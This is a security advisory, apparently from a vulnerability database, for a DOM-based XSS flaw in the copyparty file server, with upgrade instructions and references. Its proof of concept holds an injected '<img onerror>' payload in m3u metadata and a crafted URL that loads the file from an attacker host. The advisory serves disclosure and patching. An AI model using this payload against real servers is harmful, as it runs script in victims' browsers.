PYSEC-2026-1277
copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata
Quick fix
PYSEC-2026-1277 — copyparty: upgrade to the fixed version with the command below.
pip install --upgrade 'copyparty>=1.18.5'Details
### Summary
An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including `m3u` files.
### Details
Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:
* a user which has the necessary permission for uploading files can upload a song with an artist-name such as `<img src=x onerror=alert(document.domain)>` * an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file
The CVE score and PoC is based on the m3u approach, which results in a higher severity.
### PoC 1. Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server.
```m3u #EXTM3U #EXTINF:1,"><img src=x onerror=alert(document.domain)> - "><img src=x onerror=alert(document.domain)> http://example.com/audio.mp3 ```
2. Craft and share the malicious URL:
``` http://127.0.0.1:3923/#m3u=https://example.com/song.m3u ```
### Impact Any user that accesses this malicious URL is impacted.
Are you affected?
Enter the version of the package you're using.
Affected packages
References
- https://github.com/9001/copyparty/security/advisories/GHSA-9q4r-x2hj-jmvr[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2025-54423[ADVISORY]
- https://github.com/9001/copyparty/commit/895880aeb0be0813ddf732487596633f8f9fc3a6[WEB]
- https://github.com/9001/copyparty[PACKAGE]
- https://github.com/9001/copyparty/releases/tag/v1.18.5[WEB]
- https://pypi.org/project/copyparty[PACKAGE]
- https://github.com/advisories/GHSA-9q4r-x2hj-jmvr[ADVISORY]
Check it before you install it
One call answers whether to add this package: known advisories, CISA KEV, and whether the name is a hallucinated or freshly squatted one. No key needed to try it.
curl -s https://vdb.ai.kr/v1/ai/check-packages \
-H 'Content-Type: application/json' \
-d '{"packages":["pkg:pypi/copyparty"]}'